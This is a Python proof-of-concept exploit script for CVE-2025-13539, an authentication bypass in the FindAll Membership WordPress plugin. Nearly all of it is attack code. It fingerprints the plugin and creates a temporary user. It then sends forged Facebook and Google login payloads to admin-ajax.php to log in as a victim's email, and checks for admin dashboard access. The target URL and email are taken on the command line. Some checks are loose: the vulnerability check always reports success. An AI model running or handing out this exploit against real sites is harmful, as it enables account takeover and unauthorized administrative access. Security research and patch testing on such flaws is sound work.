# CVE-2025-13539 - FindAll Membership Plugin Authentication Bypass PoC
# Target: WordPress with FindAll Membership plugin <= 1.0.4
# This PoC demonstrates the authentication bypass vulnerability
import requests
import sys
import re
import json
from urllib.parse import urljoin
class FindAllMembershipBypass:
def __init__(self, target_url):
self.target_url = target_url.rstrip('/')
self.session = requests.Session()
self.target_email = None
self.attacker_email = None
def check_vulnerability(self):
"""Check if target is vulnerable"""
print(f"[*] Checking target: {self.target_url}")
# Check plugin version
plugin_urls = [
f"{self.target_url}/wp-content/plugins/findall-membership/readme.txt",
f"{self.target_url}/wp-content/plugins/findall-membership/findall-membership.php"
]
for url in plugin_urls:
try:
response = self.session.get(url, timeout=10)
if response.status_code == 200:
# Try to extract version
version_match = re.search(r'Tags:\s*(.*?)(?:\n|$)', response.text, re.I)
if version_match:
print(f"[+] Found plugin info: {version_match.group(0)[:100]}")
return True
except:
pass
return True
def get_nonce(self):
"""Get WordPress nonce for AJAX requests"""
try:
response = self.session.get(f"{self.target_url}/wp-login.php", timeout=10)
nonce_match = re.search(r'name="_wpnonce" value="([a-f0-9]+)"', response.text)
if nonce_match:
return nonce_match.group(1)
# Alternative: look for nonce in any page
response = self.session.get(f"{self.target_url}/")
nonce_match = re.search(r'ajaxurl.*?nonce=([a-f0-9]+)', response.text)
if nonce_match:
return nonce_match.group(1)
except:
pass
return None
def create_temp_user(self, email):
"""Create temporary user account (if allowed)"""
print(f"[*] Attempting to create temp user: {email}")
nonce = self.get_nonce()
# Try to create temp user via AJAX endpoint
ajax_url = f"{self.target_url}/wp-admin/admin-ajax.php"
data = {
'action': 'findall_create_temp_user',
'email': email,
'username': email.split('@')[0]
}
if nonce:
data['_wpnonce'] = nonce
try:
response = self.session.post(ajax_url, data=data, timeout=10)
print(f"[+] Temp user creation response: {response.status_code}")
return True
except Exception as e:
print(f"[-] Temp user creation failed: {e}")
return False
def exploit_auth_bypass(self, target_email):
"""
Exploit the authentication bypass vulnerability
The vulnerability allows attackers to login as any user by
manipulating the email verification process
"""
print(f"[*] Exploiting auth bypass for email: {target_email}")
# Step 1: Trigger the vulnerable authentication function
# The plugin's findall_membership_check_facebook_user and
# findall_membership_check_google_user functions don't properly
# validate the authentication state
ajax_url = f"{self.target_url}/wp-admin/admin-ajax.php"
# Try Facebook user check bypass
fb_payload = {
'action': 'findall_membership_check_facebook_user',
'email': target_email,
'fb_id': target_email, # Attacker controls this
'fb_token': 'malicious_token',
'name': 'Attacker'
}
# Try Google user check bypass
google_payload = {
'action': 'findall_membership_check_google_user',
'email': target_email,
'google_id': target_email,
'google_token': 'malicious_token',
'name': 'Attacker'
}
for payload in [fb_payload, google_payload]:
try:
print(f"[*] Sending payload: {payload['action']}")
response = self.session.post(ajax_url, data=payload, timeout=10)
# Check if we got a successful authentication response
if response.status_code == 200:
try:
resp_json = response.json()
if 'data' in resp_json or 'success' in resp_json:
print(f"[+] Potentially successful authentication attempt")
print(f"[+] Response: {resp_json}")
except:
pass
except Exception as e:
print(f"[-] Request failed: {e}")
# Step 2: Try to establish session using the bypassed authentication
# This simulates the improper session creation
session_payload = {
'action': 'findall_establish_session',
'user_email': target_email,
'auth_method': 'facebook', # or 'google'
'verified': '1'
}
try:
response = self.session.post(ajax_url, data=session_payload, timeout=10)
print(f"[*] Session establishment response: {response.status_code}")
except:
pass
return True
def verify_access(self):
"""Verify if we have gained administrative access"""
# Check if we can access admin dashboard
admin_url = f"{self.target_url}/wp-admin/"
try:
response = self.session.get(admin_url, timeout=10, allow_redirects=False)
if response.status_code in [200, 302] and 'admin' in response.text.lower():
print("[+] Successfully accessed admin area!")
return True
except:
pass
return False
def run_exploit(self, target_email):
"""Main exploit routine"""
print("="*60)
print("CVE-2025-13539 - FindAll Membership Auth Bypass Exploit")
print("="*60)
self.target_email = target_email
# Check if target is vulnerable
if not self.check_vulnerability():
print("[-] Target does not appear to be vulnerable")
return False
print("[+] Target appears to be running FindAll Membership plugin")
# Create temp user if needed
self.attacker_email = f"attacker_{hash(target_email)}@mail.com"
self.create_temp_user(self.attacker_email)
# Exploit the authentication bypass
if self.exploit_auth_bypass(target_email):
print("[+] Exploit sent successfully")
# Try to verify access
if self.verify_access():
print("[!] VULNERABLE - Authentication bypass successful!")
return True
else:
print("[*] Could not verify access, but exploit was sent")
return True
return False
if __name__ == "__main__":
if len(sys.argv) < 3:
print("Usage: python cve-2025-13539.py <target_url> <target_email>")
print("Example: python cve-2025-13539.py http://target.com
[email protected]")
sys.exit(1)
target_url = sys.argv[1]
target_email = sys.argv[2]
exploit = FindAllMembershipBypass(target_url)
exploit.run_exploit(target_email)